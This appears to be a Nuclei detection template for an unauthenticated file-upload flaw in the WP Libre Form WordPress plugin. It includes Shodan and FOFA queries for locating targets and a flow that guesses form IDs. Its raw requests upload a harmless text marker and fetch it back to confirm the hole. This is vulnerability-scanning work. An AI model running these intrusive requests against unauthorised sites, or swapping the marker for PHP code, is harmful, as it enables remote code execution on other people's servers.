Description
WP Libre Form WordPress plugin 1.5.0.1 contains an unrestricted file upload vulnerability caused by lack of file type validation in form submissions, letting unauthenticated attackers upload and execute PHP files remotely.
WP Libre Form WordPress plugin 1.5.0.1 contains an unrestricted file upload vulnerability caused by lack of file type validation in form submissions, letting unauthenticated attackers upload and execute PHP files remotely.
id: CVE-2026-118423
info:
name: WP Libre Form - Unrestricted File Upload RCE
author: 0x_Akoko
severity: critical
description: |
WP Libre Form WordPress plugin 1.5.0.1 contains an unrestricted file upload vulnerability caused by lack of file type validation in form submissions, letting unauthenticated attackers upload and execute PHP files remotely.
impact: |
Unauthenticated attackers can upload and execute PHP files, leading to full remote code execution on the server.
remediation: |
Update to the latest version of WP Libre Form plugin.
reference:
- https://wpscan.com/vulnerability/35149a79-aee1-4f13-ba29-583c2224c5da/
- https://patchstack.com/database/wordpress/plugin/wp-libre-form/vulnerability/wordpress-wp-libre-form-plugin-1-5-0-1-unauthenticated-rce-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2026-118423
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-118423
epss-score: 0.03232
epss-percentile: 0.89038
cwe-id: CWE-434
metadata:
verified: true
max-request: 14
vendor: wp-libre-form
product: wp-libre-form
framework: wordpress
shodan-query: http.html:"wplf_submit"
fofa-query: body="wp-libre-form"
tags: cve,cve2026,wp-libre-form,wordpress,file-upload,rce,unauth,intrusive,vkev
variables:
rstr: "{{rand_base(8)}}"
boundary: "{{rand_text_alphanumeric(16)}}"
flow: |
(function() {
for (var i = 1; i <= 10; i++) {
set("fid", String(i));
if (!http(1)) continue;
var dh = template["dheader"];
if (Array.isArray(dh)) dh = dh[dh.length - 1];
dh = String(dh);
var m = dh.match(/(\d{2}) (\w{3}) (\d{4}) (\d{2}):(\d{2}):(\d{2})/);
if (!m) return false;
var MON = {Jan:"01",Feb:"02",Mar:"03",Apr:"04",May:"05",Jun:"06",Jul:"07",Aug:"08",Sep:"09",Oct:"10",Nov:"11",Dec:"12"};
set("updir", m[3] + "/" + MON[m[2]]);
if (http(2)) return true;
var base = Date.UTC(parseInt(m[3]), parseInt(MON[m[2]])-1, parseInt(m[1]), parseInt(m[4]), parseInt(m[5]), parseInt(m[6]));
for (var off = 0; off >= -2; off--) {
var d = new Date(base + off * 1000);
var y2 = ("0" + (d.getUTCFullYear() % 100)).slice(-2);
var mo = ("0" + (d.getUTCMonth()+1)).slice(-2);
var da = ("0" + d.getUTCDate()).slice(-2);
var h12 = d.getUTCHours() % 12;
if (h12 === 0) h12 = 12;
var hh = ("0" + h12).slice(-2);
var ss = ("0" + d.getUTCSeconds()).slice(-2);
set("stamp", y2 + mo + da + hh + ss);
set("updir", d.getUTCFullYear() + "/" + mo);
if (http(3)) return true;
}
return false;
}
return false;
})()
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="action"
wplf_submit
--{{boundary}}
Content-Disposition: form-data; name="_form_id"
{{fid}}
--{{boundary}}
Content-Disposition: form-data; name="name"
{{rand_base(6)}}
--{{boundary}}
Content-Disposition: form-data; name="nome"
{{rand_base(6)}}
--{{boundary}}
Content-Disposition: form-data; name="email"
{{rand_base(6)}}@{{rand_base(6)}}.com
--{{boundary}}
Content-Disposition: form-data; name="telefone"
{{rand_base(10, "0123456789")}}
--{{boundary}}
Content-Disposition: form-data; name="phone"
{{rand_base(10, "0123456789")}}
--{{boundary}}
Content-Disposition: form-data; name="message"
{{rand_base(6)}}
--{{boundary}}
Content-Disposition: form-data; name="subject"
{{rand_base(6)}}
--{{boundary}}
Content-Disposition: form-data; name="file"; filename="{{rstr}}.txt"
Content-Type: text/plain
WPLF-{{rstr}}-verification
--{{boundary}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "submission_id", rstr)'
condition: and
internal: true
extractors:
- type: regex
name: dheader
part: header
group: 1
internal: true
regex:
- '(?i)date:\s*([^\r\n]+)'
- raw:
- |
GET /wp-content/uploads/{{updir}}/{{rstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "WPLF-{{rstr}}")'
condition: and
extractors:
- type: dsl
dsl:
- '"uploaded: /wp-content/uploads/" + updir + "/" + rstr + ".txt"'
- raw:
- |
GET /wp-content/uploads/{{updir}}/lf_{{stamp}}-0-{{rstr}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "WPLF-{{rstr}}")'
condition: and
extractors:
- type: dsl
dsl:
- '"uploaded: /wp-content/uploads/" + updir + "/lf_" + stamp + "-0-" + rstr + ".txt"'
# digest: 4a0a00473045022036318de11e4b6b7c71b7a63ddb41b3c5e223de5a64932e70eece13415626e9ab022100a62f34de3467751eb6e4f96e6da61b7d9943b4c575d6e318f1e4f130e57e049b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.